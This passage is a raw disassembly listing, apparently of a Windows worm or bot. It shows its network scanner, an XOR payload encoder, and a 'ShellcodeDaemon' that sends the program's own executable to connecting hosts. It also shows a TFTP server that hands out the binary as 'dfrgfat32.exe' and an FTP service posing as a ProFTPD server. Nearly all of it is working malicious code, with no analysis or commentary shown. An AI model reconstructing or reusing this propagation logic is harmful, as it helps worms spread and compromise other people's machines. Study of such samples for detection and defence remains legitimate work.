U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4073B4 proc near ; CODE XREF: sub_4092ED+17p var_124 = dword ptr -124h var_120 = dword ptr -120h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 124h push ebx push esi push edi and [ebp+var_1], 0 push 1 xor edi, edi pop ebx push edi push ebx push 2 mov [ebp+var_8], ebx call dword_4011B4 ; socket mov esi, eax cmp esi, edi jz short loc_40740A mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_20], 2 mov [ebp+var_1C], eax call dword_4011B0 ; ntohs mov [ebp+var_1E], ax lea eax, [ebp+var_8] push eax push 8004667Eh push esi call dword_4011D4 ; ioctlsocket cmp eax, 0FFFFFFFFh jnz short loc_407411 loc_40740A: ; CODE XREF: sub_4073B4+26j xor al, al jmp loc_4074A6 ; --------------------------------------------------------------------------- loc_407411: ; CODE XREF: sub_4073B4+54j lea eax, [ebp+var_20] push 10h push eax push esi call dword_4011AC ; connect mov eax, [ebp+arg_8] mov [ebp+var_C], edi mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_124] push edi push eax push edi push edi mov [ebp+var_120], esi mov [ebp+var_124], ebx call dword_4011C4 ; select test eax, eax jz short loc_40744E mov [ebp+var_1], bl loc_40744E: ; CODE XREF: sub_4073B4+95j xor ecx, ecx cmp [ebp+var_124], edi jbe short loc_40749C lea eax, [ebp+var_120] loc_40745E: ; CODE XREF: sub_4073B4+B8j cmp [eax], esi jz short loc_407470 inc ecx add eax, 4 cmp ecx, [ebp+var_124] jb short loc_40745E jmp short loc_40749C ; --------------------------------------------------------------------------- loc_407470: ; CODE XREF: sub_4073B4+ACj mov eax, [ebp+var_124] dec eax cmp ecx, eax jnb short loc_407496 lea eax, [ebp+ecx*4+var_120] loc_407482: ; CODE XREF: sub_4073B4+E0j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_124] add eax, 4 dec edx cmp ecx, edx jb short loc_407482 loc_407496: ; CODE XREF: sub_4073B4+C5j dec [ebp+var_124] loc_40749C: ; CODE XREF: sub_4073B4+A2j ; sub_4073B4+BAj push esi call dword_4011B8 ; closesocket mov al, [ebp+var_1] loc_4074A6: ; CODE XREF: sub_4073B4+58j pop edi pop esi pop ebx leave retn sub_4073B4 endp ; --------------------------------------------------------------------------- aAU@ db '=О@',0 ; DATA XREF: code:004075DFo align 2 dw 4074h dd 24748B56h, 13E8308h, 326A0A74h, 107C15FFh, 0F1EB0040h dd 660C76FFh, 0C708468Bh, 206h, 76FF5000h, 0FED6E804h dd 0C483FFFFh, 1BD8F60Ch, 4C083C0h, 3D800689h, 409ED0h dd 5EC67500h, 15FF006Ah, 401088h ; --------------------------------------------------------------------------- loc_4074FC: ; DATA XREF: sub_404360+60Fo push ebp mov ebp, esp sub esp, 14h push ebx push esi mov esi, [ebp+8] push edi mov eax, offset aEnabled ; "enabled" cmp byte ptr [esi+1Ch], 0 jnz short loc_407518 mov eax, offset aDisabled ; "disabled" loc_407518: ; CODE XREF: code:00407511j push eax push dword ptr [esi+10h] movzx eax, word ptr [esi+4] push dword ptr [esi+0Ch] push dword ptr [esi+14h] push eax push dword ptr [esi] call sub_4073A9 pop ecx push eax mov eax, dword_40397C imul eax, 1Ch push off_4016E0[eax] push offset dword_4031C8 call sub_404C8D add esp, 20h push 3E8h call dword_40107C ; Sleep mov edi, offset dword_409D00 push edi call dword_40109C ; RtlDeleteCriticalSection push 80000400h push edi call dword_401098 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40758C push offset aScanner ; "Scanner" call sub_409783 push eax call sub_40971A pop ecx pop ecx push 0 call dword_401088 ; ExitThread loc_40758C: ; CODE XREF: code:00407570j mov ds:byte_409ED0, 1 mov eax, [esi] mov ds:dword_409D48, eax mov eax, [esi+14h] lea eax, [eax+eax*4] shl eax, 2 add eax, 3 and al, 0FCh call sub_409A60 mov [ebp-4], esp push edi call dword_401094 ; RtlEnterCriticalSection xor ebx, ebx cmp [esi+14h], ebx jle short loc_407607 mov eax, [ebp-4] lea edi, [eax+8] loc_4075C4: ; CODE XREF: code:00407600j mov eax, [esi] push 0 mov [edi-4], eax and dword ptr [edi-8], 0 mov cx, [esi+4] lea eax, [edi-8] mov [edi], cx mov ecx, [esi+0Ch] push 1 push eax push offset aAU@ ; "=О@" mov [edi+4], ecx call sub_40960A add esp, 10h mov [edi+8], eax push ebx call dword_40107C ; Sleep inc ebx add edi, 14h cmp ebx, [esi+14h] jl short loc_4075C4 loc_407602: ; CODE XREF: code:00407745j mov edi, offset dword_409D00 loc_407607: ; CODE XREF: code:004075BCj ; code:0040761Cj cmp ds:byte_409ED0, 0 jz loc_40774A and dword ptr [ebp+8], 0 cmp dword ptr [esi+14h], 0 jle short loc_407607 mov edi, [ebp-4] loc_407621: ; CODE XREF: code:0040773Fj push 14h call dword_40107C ; Sleep mov eax, [edi] xor ebx, ebx cmp eax, ebx jz loc_407725 cmp eax, 4 jz loc_407725 cmp eax, 1 jz loc_407733 cmp eax, 2 jz loc_407733 cmp eax, 3 jnz loc_407725 mov ecx, [esi+8] cmp ecx, ebx jz loc_407725 mov dl, [esi+1Ch] test dl, dl jnz short loc_4076A7 mov eax, ecx imul eax, 2Ch cmp byte_402F60[eax], dl jz short loc_4076A3 mov [ebp-10h], ecx mov ecx, [edi+4] mov [ebp-0Ch], ecx mov cx, [esi+4] mov [ebp-14h], cx push ebx lea ecx, [ebp-14h] push 1 push ecx push off_402F54[eax] call sub_40960A add esp, 10h jmp loc_407725 ; --------------------------------------------------------------------------- loc_4076A3: ; CODE XREF: code:00407676j test dl, dl jz short loc_4076F8 loc_4076A7: ; CODE XREF: code:00407669j cmp word ptr dword_402F50, bx mov [ebp-8], ebx jz short loc_407725 mov ebx, offset dword_402F50 loc_4076B8: ; CODE XREF: code:004076F4j cmp byte ptr [ebx+10h], 0 jz short loc_4076EA mov ax, [esi+4] cmp [ebx], ax jnz short loc_4076EA mov ecx, [ebp-8] mov [ebp-14h], ax push 0 lea eax, [ebp-14h] push 1 push eax push dword ptr [ebx+4] mov [ebp-10h], ecx mov ecx, [edi+4] mov [ebp-0Ch], ecx call sub_40960A add esp, 10h loc_4076EA: ; CODE XREF: code:004076BCj ; code:004076C5j inc dword ptr [ebp-8] add ebx, 2Ch cmp word ptr [ebx], 0 jnz short loc_4076B8 jmp short loc_407725 ; --------------------------------------------------------------------------- loc_4076F8: ; CODE XREF: code:004076A5j movzx eax, word ptr [esi+4] push dword ptr [ebp+8] push eax push dword ptr [edi+4] call sub_4073A9 pop ecx push eax mov eax, dword_40397C imul eax, 1Ch push off_4016E0[eax] push offset dword_40317C call sub_404C8D add esp, 14h loc_407725: ; CODE XREF: code:0040762Fj ; code:00407638j ... call sub_407367 mov [edi+4], eax mov dword ptr [edi], 1 loc_407733: ; CODE XREF: code:00407641j ; code:0040764Aj inc dword ptr [ebp+8] add edi, 14h mov eax, [ebp+8] cmp eax, [esi+14h] jl loc_407621 jmp loc_407602 ; --------------------------------------------------------------------------- loc_40774A: ; CODE XREF: code:0040760Ej push 1388h call dword_40107C ; Sleep and dword ptr [ebp+8], 0 cmp dword ptr [esi+14h], 0 jle short loc_40777D mov eax, [ebp-4] lea ebx, [eax+10h] loc_407765: ; CODE XREF: code:0040777Bj push 0 push dword ptr [ebx] call dword_401090 ; TerminateThread inc dword ptr [ebp+8] add ebx, 14h mov eax, [ebp+8] cmp eax, [esi+14h] jl short loc_407765 loc_40777D: ; CODE XREF: code:0040775Dj push dword ptr [ebp-4] call sub_409ACC pop ecx push edi call dword_40108C ; RtlLeaveCriticalSection push offset aScanner ; "Scanner" call sub_409783 push eax call sub_40971A pop ecx pop ecx push 0 call dword_401088 ; ExitThread ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077A7 proc near ; CODE XREF: sub_40785C+59p ; sub_40785C+7Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp xor edx, edx push esi cmp [ebp+arg_4], edx jbe short loc_4077D6 loc_4077B2: ; CODE XREF: sub_4077A7+2Dj xor ecx, ecx cmp [ebp+arg_C], ecx jbe short loc_4077D0 mov eax, [ebp+arg_0] mov al, [edx+eax] xor al, [ebp+arg_10] loc_4077C2: ; CODE XREF: sub_4077A7+27j mov esi, [ebp+arg_8] cmp al, [ecx+esi] jz short loc_4077DB inc ecx cmp ecx, [ebp+arg_C] jb short loc_4077C2 loc_4077D0: ; CODE XREF: sub_4077A7+10j inc edx cmp edx, [ebp+arg_4] jb short loc_4077B2 loc_4077D6: ; CODE XREF: sub_4077A7+9j xor al, al loc_4077D8: ; CODE XREF: sub_4077A7+36j pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4077DB: ; CODE XREF: sub_4077A7+21j mov al, 1 jmp short loc_4077D8 sub_4077A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DF proc near ; CODE XREF: sub_40785C+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push edi mov edi, 153h cmp [ebp+arg_4], edi jnb short loc_4077F1 xor eax, eax jmp short loc_407859 ; --------------------------------------------------------------------------- loc_4077F1: ; CODE XREF: sub_4077DF+Cj push esi mov esi, [ebp+arg_0] push edi push offset dword_40327C push esi call sub_409ABA ; memcpy mov eax, [ebp+arg_8] add esp, 0Ch mov [esi+0D3h], eax push [ebp+arg_C] call dword_4011B0 ; ntohs mov [esi+0DAh], ax mov eax, [ebp+arg_10] push 7Ah push 61h mov [esi+0F6h], eax call sub_409957 push 7Ah push 61h mov [esi+111h], al call sub_409957 push 7Ah push 61h mov [esi+112h], al call sub_409957 add esp, 18h mov [esi+113h], al mov eax, edi pop esi loc_407859: ; CODE XREF: sub_4077DF+10j pop edi pop ebp retn sub_4077DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40785C proc near ; CODE XREF: code:004053F2p ; code:004056BDp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 16Fh jnb short loc_40786E xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40786E: ; CODE XREF: sub_40785C+Cj push ebx push esi push edi mov edi, [ebp+arg_0] push 1Ch push offset dword_40325C lea ebx, [edi+1Ch] push edi mov [ebp+var_4], ebx call sub_409ABA ; memcpy push [ebp+arg_10] mov esi, 153h push [ebp+arg_C] push [ebp+arg_8] push esi push ebx call sub_4077DF mov eax, dword_403258 add esp, 20h mov [ebp+arg_4], eax loc_4078A7: ; CODE XREF: sub_40785C+94j push 0 lea eax, [ebp+arg_4] push [ebp+arg_18] push [ebp+arg_14] push 4 push eax call sub_4077A7 add esp, 14h test al, al jnz short loc_4078E3 mov eax, [ebp+arg_4] push 0 push [ebp+arg_18] xor eax, esi mov [ebp+var_8], eax lea eax, [ebp+var_8] push [ebp+arg_14] push 4 push eax call sub_4077A7 add esp, 14h test al, al jz short loc_4078F2 loc_4078E3: ; CODE XREF: sub_40785C+63j call sub_409995 mov [ebp+arg_4], eax mov dword_403258, eax jmp short loc_4078A7 ; --------------------------------------------------------------------------- loc_4078F2: ; CODE XREF: sub_40785C+85j mov eax, [ebp+arg_4] mov [edi+3], eax mov eax, [ebp+var_8] mov [edi+9], eax mov bl, byte_403254 mov byte ptr [ebp+arg_0], bl loc_407907: ; CODE XREF: sub_40785C+D4j push [ebp+arg_0] push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+var_4] call sub_4077A7 add esp, 14h test al, al jz short loc_407932 call sub_4099A9 mov bl, al mov byte ptr [ebp+arg_0], bl mov byte_403254, bl jmp short loc_407907 ; --------------------------------------------------------------------------- loc_407932: ; CODE XREF: sub_40785C+C2j mov [edi+12h], bl xor eax, eax loc_407937: ; CODE XREF: sub_40785C+E5j mov ecx, [ebp+var_4] add ecx, eax xor [ecx], bl inc eax cmp eax, esi jb short loc_407937 pop edi pop esi mov eax, 16Fh pop ebx leave retn sub_40785C endp ; --------------------------------------------------------------------------- loc_40794D: ; DATA XREF: code:00407B74o push ebp mov ebp, esp sub esp, 390h push ebx xor ebx, ebx push edi mov edi, [ebp+8] push ebx lea eax, [ebp-0Ch] push 4 push eax push edi call dword_4011A4 ; recv cmp eax, 4 jz short loc_407977 push ebx call dword_401088 ; ExitThread loc_407977: ; CODE XREF: code:0040796Ej cmp word ptr dword_402F50, bx mov [ebp-4], ebx jz short loc_40799B mov eax, offset dword_402F50 loc_407988: ; CODE XREF: code:00407999j mov ecx, [eax+0Ch] cmp ecx, [ebp-0Ch] jz short loc_4079A9 inc dword ptr [ebp-4] add eax, 2Ch cmp [eax], bx jnz short loc_407988 loc_40799B: ; CODE XREF: code:00407981j push edi call sub_40867A pop ecx push ebx call dword_401088 ; ExitThread loc_4079A9: ; CODE XREF: code:0040798Ej lea eax, [ebp-8Ch] push eax push edi call sub_4085AE pop ecx test al, al pop ecx jnz short loc_4079CF lea eax, [ebp-8Ch] push offset aUnknown ; "unknown" push eax call sub_409AAE ; strcpy pop ecx pop ecx loc_4079CF: ; CODE XREF: code:004079BAj lea eax, [ebp-190h] push 104h push eax push ebx call dword_4010A0 ; GetModuleFileNameA test eax, eax jnz short loc_4079ED push ebx call dword_401088 ; ExitThread loc_4079ED: ; CODE XREF: code:004079E4j lea eax, [ebp-190h] push offset dword_40341C push eax call sub_409ADE ; fopen pop ecx cmp eax, ebx pop ecx mov [ebp-8], eax jnz short loc_407A0E push ebx call dword_401088 ; ExitThread loc_407A0E: ; CODE XREF: code:00407A05j push esi mov esi, 200h push eax push esi lea eax, [ebp-390h] push 1 push eax call sub_409AD8 ; fread add esp, 10h push ebx push eax lea eax, [ebp-390h] push eax push edi mov edi, dword_4011A8 loc_407A37: ; CODE XREF: code:00407A63j call edi ; dword_4011A8 cmp eax, ebx jz short loc_407A65 cmp eax, 0FFFFFFFFh jz short loc_407A65 push dword ptr [ebp-8] lea eax, [ebp-390h] push esi push 1 push eax call sub_409AD8 ; fread add esp, 10h push ebx push eax lea eax, [ebp-390h] push eax push dword ptr [ebp+8] jmp short loc_407A37 ; --------------------------------------------------------------------------- loc_407A65: ; CODE XREF: code:00407A3Bj ; code:00407A40j mov esi, [ebp-4] lea eax, [ebp-8Ch] imul esi, 2Ch inc dword_402F58[esi] push eax lea edi, dword_402F58[esi] lea eax, [ebp-8Ch] push eax call sub_4091CA pop ecx push eax mov eax, dword_40397C push dword ptr [edi] imul eax, 1Ch push off_402F4C[esi] push off_4016E0[eax] push offset dword_4033D0 call sub_404C8D push dword ptr [ebp+8] call sub_40867A push dword ptr [ebp-8] call sub_409AD2 ; fclose add esp, 20h push ebx call dword_401088 ; ExitThread pop esi loc_407AC7: ; DATA XREF: sub_409022+EBo push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi push 6 push 1 push 2 call dword_4011B4 ; socket mov esi, offset aShellcodedaemo ; "ShellcodeDaemon" mov edi, eax push esi call sub_409783 lea eax, [eax+eax*2] xor ebx, ebx pop ecx cmp edi, ebx mov ds:dword_409D68[eax*8], edi push ebx jnz short loc_407B01 call dword_401088 ; ExitThread loc_407B01: ; CODE XREF: code:00407AF9j mov eax, [ebp+8] movzx eax, word ptr [eax] push eax push esi call sub_409783 lea eax, [eax+eax*2] pop ecx push ds:dword_409D68[eax*8] call sub_40860A add esp, 0Ch test al, al jnz short loc_407B2C push ebx call dword_401088 ; ExitThread loc_407B2C: ; CODE XREF: code:00407B23j ; code:00407BA3j ... lea eax, [ebp-10h] push ebx push eax push esi call sub_409783 lea eax, [eax+eax*2] pop ecx push ds:dword_409D68[eax*8] call dword_4011D8 ; accept push esi mov edi, eax call sub_409783 lea eax, [eax+eax*2] cmp edi, 0FFFFFFFFh pop ecx mov ds:dword_409D6C[eax*8], edi jz short loc_407B81 push ebx push 1 push esi call sub_409783 lea eax, [eax+eax*2] pop ecx push ds:dword_409D6C[eax*8] push offset loc_40794D call sub_40960A add esp, 10h loc_407B81: ; CODE XREF: code:00407B5Ej push esi call sub_409783 lea eax, [eax+eax*2] pop ecx push esi cmp ds:dword_409D68[eax*8], 0FFFFFFFFh jnz short loc_407BA5 call sub_409783 push eax call sub_40971A pop ecx pop ecx jmp short loc_407B2C ; --------------------------------------------------------------------------- loc_407BA5: ; CODE XREF: code:00407B94j call sub_409783 lea eax, [eax+eax*2] pop ecx cmp ds:dword_409D68[eax*8], ebx jnz loc_407B2C push esi call sub_409783 push eax call sub_40971A pop ecx pop ecx push ebx call dword_401088 ; ExitThread loc_407BD0: ; DATA XREF: sub_409022+FDo push ebp mov ebp, esp sub esp, 544h push ebx push esi xor ebx, ebx push edi push ebx push 2 push 2 call dword_4011B4 ; socket mov esi, offset aTftpdaemon ; "TFTPDaemon" mov edi, eax push esi call sub_409783 lea eax, [eax+eax*2] cmp edi, ebx pop ecx mov ds:dword_409D68[eax*8], edi jnz short loc_407C0C push ebx call dword_401088 ; ExitThread loc_407C0C: ; CODE XREF: code:00407C03j push 1 push 45h push esi call sub_409783 lea eax, [eax+eax*2] pop ecx push ds:dword_409D68[eax*8] call sub_40860A add esp, 0Ch test al, al jnz short loc_407C34 push ebx call dword_401088 ; ExitThread loc_407C34: ; CODE XREF: code:00407C2Bj lea eax, [ebp-544h] push 104h push eax push ebx call dword_4010A0 ; GetModuleFileNameA test eax, eax jnz short loc_407C52 push ebx call dword_401088 ; ExitThread loc_407C52: ; CODE XREF: code:00407C49j lea eax, [ebp-544h] push offset dword_40341C push eax call sub_409ADE ; fopen pop ecx cmp eax, ebx pop ecx mov [ebp-8], eax jnz short loc_407C73 push ebx call dword_401088 ; ExitThread loc_407C73: ; CODE XREF: code:00407C6Aj mov edi, 200h loc_407C78: ; CODE XREF: code:00407CD5j ; code:00407DACj ... push esi mov dword ptr [ebp-14h], 5 mov dword ptr [ebp-10h], 1388h mov [ebp-440h], ebx call sub_409783 lea eax, [eax+eax*2] inc dword ptr [ebp-440h] mov dword ptr [esp], 104h push ebx mov eax, ds:dword_409D68[eax*8] mov [ebp-43Ch], eax lea eax, [ebp-33Ch] push eax call sub_409AB4 ; memset add esp, 0Ch lea eax, [ebp-14h] push eax push ebx lea eax, [ebp-440h] push ebx push eax push ebx call dword_4011C4 ; select test eax, eax jle short loc_407C78 lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-24h] push eax push ebx lea eax, [ebp-33Ch] push 104h push eax push esi call sub_409783 lea eax, [eax+eax*2] pop ecx push ds:dword_409D68[eax*8] call dword_4011E0 ; recvfrom test eax, eax jz loc_407EA4 push dword ptr [ebp-20h] call dword_4011D0 ; inet_ntoa push eax lea eax, [ebp-34h] push 10h push eax call sub_409A26 ; _snprintf add esp, 0Ch cmp [ebp-33Ch], bl jnz loc_407E90 cmp byte ptr [ebp-33Bh], 1 jnz short loc_407DB1 push offset aDfrgfat32_exe ; "dfrgfat32.exe" call sub_409AA2 ; strlen push ebx push ebx push dword ptr [ebp-8] call sub_409AE4 ; fseek push dword ptr [ebp-8] lea eax, [ebp-234h] mov [ebp-238h], bl mov byte ptr [ebp-237h], 3 push edi push 1 push eax mov [ebp-236h], bl mov byte ptr [ebp-235h], 1 call sub_409AD8 ; fread add esp, 20h lea ecx, [ebp-24h] add eax, 4 push dword ptr [ebp-4] push ecx push ebx push eax lea eax, [ebp-238h] push eax loc_407D95: ; CODE XREF: code:00407E9Fj push esi call sub_409783 lea eax, [eax+eax*2] pop ecx push ds:dword_409D68[eax*8] call dword_4011DC ; sendto jmp loc_407C78 ; --------------------------------------------------------------------------- loc_407DB1: ; CODE XREF: code:00407D3Dj cmp byte ptr [ebp-33Bh], 4 jnz loc_407E90 mov cl, [ebp-339h] mov al, [ebp-33Ah] cmp cl, 0FFh mov [ebp-238h], bl mov byte ptr [ebp-237h], 3 jnz short loc_407DEE inc al xor cl, cl mov [ebp-236h], al mov [ebp-235h], bl jmp short loc_407DFC ; --------------------------------------------------------------------------- loc_407DEE: ; CODE XREF: code:00407DDAj inc cl mov [ebp-236h], al mov [ebp-235h], cl loc_407DFC: ; CODE XREF: code:00407DECj movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, edi push eax push dword ptr [ebp-8] call sub_409AE4 ; fseek push dword ptr [ebp-8] lea eax, [ebp-234h] push edi push 1 push eax call sub_409AD8 ; fread add esp, 1Ch lea ecx, [ebp-24h] mov [ebp-0Ch], eax add eax, 4 push dword ptr [ebp-4] push ecx push ebx push eax lea eax, [ebp-238h] push eax push esi call sub_409783 lea eax, [eax+eax*2] pop ecx push ds:dword_409D68[eax*8] call dword_4011DC ; sendto cmp [ebp-0Ch], ebx jnz loc_407C78 lea eax, [ebp-34h] push eax lea eax, [ebp-34h] push eax call sub_4091CA pop ecx push eax mov eax, dword_40397C imul eax, 1Ch push off_4016E0[eax] push offset dword_403554 call sub_404C8D add esp, 10h jmp loc_407C78 ; --------------------------------------------------------------------------- loc_407E90: ; CODE XREF: code:00407D30j ; code:00407DB8j push dword ptr [ebp-4] lea eax, [ebp-24h] push eax push ebx push 9 push offset dword_403548 jmp loc_407D95 ; --------------------------------------------------------------------------- loc_407EA4: ; CODE XREF: code:00407D0Cj push ebx call dword_401088 ; ExitThread ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407EAB proc near ; CODE XREF: text:004084A7p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 1 push 2 call dword_4011B4 ; socket test eax, eax mov ds:dword_409D18, eax jnz short loc_407ECA xor al, al leave retn ; --------------------------------------------------------------------------- loc_407ECA: ; CODE XREF: sub_407EAB+19j push [ebp+arg_0] mov [ebp+var_10], 2 call dword_401198 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_4011B0 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push ds:dword_409D18 call dword_4011AC ; connect cmp eax, 0FFFFFFFFh setnz al leave retn sub_407EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F03 proc near ; CODE XREF: text:004084B8p var_504 = byte ptr -504h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 504h push edi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_4010A0 ; GetModuleFileNameA test eax, eax jz short loc_407F3E lea eax, [ebp+var_104] push offset dword_40341C push eax call sub_409ADE ; fopen mov edi, eax pop ecx test edi, edi pop ecx jnz short loc_407F42 loc_407F3E: ; CODE XREF: sub_407F03+20j xor al, al jmp short loc_407F8C ; --------------------------------------------------------------------------- loc_407F42: ; CODE XREF: sub_407F03+39j test byte ptr [edi+0Ch], 10h jnz short loc_407F83 push esi mov esi, 400h loc_407F4E: ; CODE XREF: sub_407F03+7Dj push edi push 1 lea eax, [ebp+var_504] push esi push eax call sub_409AD8 ; fread add esp, 10h lea eax, [ebp+var_504] push 0 push esi push eax push [ebp+arg_0] call dword_4011A8 ; send push 1 call dword_40107C ; Sleep test byte ptr [edi+0Ch], 10h jz short loc_407F4E pop esi loc_407F83: ; CODE XREF: sub_407F03+43j push edi call sub_409AD2 ; fclose pop ecx mov al, 1 loc_407F8C: ; CODE XREF: sub_407F03+3Dj pop edi leave retn sub_407F03 endp ; --------------------------------------------------------------------------- loc_407F8F: ; DATA XREF: sub_409022+D6o push ebp mov ebp, esp sub esp, 588h push ebx push esi xor ebx, ebx push edi push ebx push 1 push 2 mov [ebp-1B4h], ebx mov [ebp-588h], ebx call dword_4011B4 ; socket mov esi, offset aFtpdaemon ; "FTPDaemon" mov edi, eax push esi call sub_409783 lea eax, [eax+eax*2] pop ecx cmp edi, ebx push ebx mov ds:dword_409D68[eax*8], edi jnz short loc_407FD7 call dword_401088 ; ExitThread loc_407FD7: ; CODE XREF: code:00407FCFj movzx eax, ds:word_409D50 push eax push esi call sub_409783 lea eax, [eax+eax*2] pop ecx push ds:dword_409D68[eax*8] call sub_40860A add esp, 0Ch test al, al jnz short loc_408003 push ebx ; --------------------------------------------------------------------------- db 0FFh, 15h, 88h code ends ; Section 2. (virtual address 00008000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00008000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write text segment para public 'DATA' use32 assume cs:text ;org 408000h assume es:nothing, ss:nothing, ds:code, fs:nothing, gs:nothing byte_408000 db 10h, 40h, 0 ; DATA XREF: text:0040C621o ; --------------------------------------------------------------------------- loc_408003: ; CODE XREF: code:00407FFAj push esi call sub_409783 lea eax, [eax+eax*2] push esi mov dword ptr [ebp-1B4h], 1 mov eax, ds:dword_409D68[eax*8] mov [ebp-1B0h], eax call sub_409783 lea eax, [eax+eax*2] pop ecx pop ecx mov eax, ds:dword_409D68[eax*8] cmp eax, ebx mov [ebp-4], eax jnz short loc_408043 push ebx call dword_401088 ; ExitThread loc_408043: ; CODE XREF: text:0040803Aj push esi call sub_409783 lea eax, [eax+eax*2] pop ecx cmp ds:dword_409D68[eax*8], ebx jz loc_408591 mov ebx, dword_4011A8 loc_408060: ; CODE XREF: text:00408586j push 41h lea esi, [ebp-1B4h] pop ecx lea edi, [ebp-588h] rep movsd xor esi, esi lea eax, [ebp-588h] push esi push esi push esi push eax mov eax, [ebp-4] inc eax push eax call dword_4011C4 ; select cmp eax, 0FFFFFFFFh jz loc_4085A7 xor edi, edi cmp [ebp-4], esi jl loc_408571 loc_40809C: ; CODE XREF: text:0040856Bj push 80h lea eax, [ebp-284h] push esi push eax call sub_409AB4 ; memset push 80h lea eax, [ebp-0B0h] push esi push eax call sub_409AB4 ; memset add esp, 18h lea eax, [ebp-588h] push eax push edi call sub_409CDE ; __WSAFDIsSet test eax, eax jz loc_408567 push offset aFtpdaemon ; "FTPDaemon" call sub_409783 lea eax, [eax+eax*2] pop ecx cmp edi, ds:dword_409D68[eax*8] jnz loc_4081C1 lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-1C4h] push eax push offset aFtpdaemon ; "FTPDaemon" call sub_409783 lea eax, [eax+eax*2] pop ecx push ds:dword_409D68[eax*8] call dword_4011D8 ; accept cmp eax, 0FFFFFFFFh mov [ebp-8], eax jz loc_408567 xor ecx, ecx cmp [ebp-1B4h], esi jbe short loc_40814C lea edx, [ebp-1B0h] loc_40813C: ; CODE XREF: text:0040814Aj cmp [edx], eax jz short loc_40814C inc ecx add edx, 4 cmp ecx, [ebp-1B4h] jb short loc_40813C loc_40814C: ; CODE XREF: text:00408134j ; text:0040813Ej cmp ecx, [ebp-1B4h] jnz short loc_40816A cmp dword ptr [ebp-1B4h], 40h jnb short loc_40816A mov [ebp+ecx*4-1B0h], eax inc dword ptr [ebp-1B4h] loc_40816A: ; CODE XREF: text:00408152j ; text:0040815Bj cmp eax, [ebp-4] jle short loc_408172 mov [ebp-4], eax loc_408172: ; CODE XREF: text:0040816Dj push 0Ah push esi call sub_409957 pop ecx pop ecx push eax push 2 push esi call sub_409957 pop ecx pop ecx push eax push offset a220Proftpd1_D_ ; "220 ProFTPD 1.%d.%d Server (ProFTPD Def"... lea eax, [ebp-384h] push 80h push eax call sub_409A26 ; _snprintf add esp, 14h lea eax, [ebp-384h] push esi push eax call sub_409AA2 ; strlen pop ecx push eax lea eax, [ebp-384h] push eax push dword ptr [ebp-8] call ebx ; dword_4011A8 jmp loc_408567 ; --------------------------------------------------------------------------- loc_4081C1: ; CODE XREF: text:004080EDj push esi lea eax, [ebp-284h] push 80h push eax push edi call dword_4011A4 ; recv test eax, eax jg short loc_40822B mov edx, [ebp-1B4h] xor ecx, ecx cmp edx, esi jbe short loc_40821F lea eax, [ebp-1B0h] loc_4081EB: ; CODE XREF: text:004081F5j cmp [eax], edi jz short loc_4081F9 inc ecx add eax, 4 cmp ecx, edx jb short loc_4081EB jmp short loc_40821F ; --------------------------------------------------------------------------- loc_4081F9: ; CODE XREF: text:004081EDj dec edx cmp ecx, edx jnb short loc_408219 lea eax, [ebp+ecx*4-1B0h] loc_408205: ; CODE XREF: text:00408217j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp-1B4h] add eax, 4 dec edx cmp ecx, edx jb short loc_408205 loc_408219: ; CODE XREF: text:004081FCj dec dword ptr [ebp-1B4h] loc_40821F: ; CODE XREF: text:004081E3j ; text:004081F7j push edi call dword_4011B8 ; closesocket jmp loc_408567 ; --------------------------------------------------------------------------- loc_40822B: ; CODE XREF: text:004081D7j lea eax, [ebp-404h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-284h] push offset aSS ; "%s %s" push eax call sub_409AF6 ; sscanf lea eax, [ebp-0B0h] push offset aUser ; "USER" push eax call sub_409AF0 ; strcmp add esp, 18h test eax, eax jnz short loc_40826F push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40854F ; --------------------------------------------------------------------------- loc_40826F: ; CODE 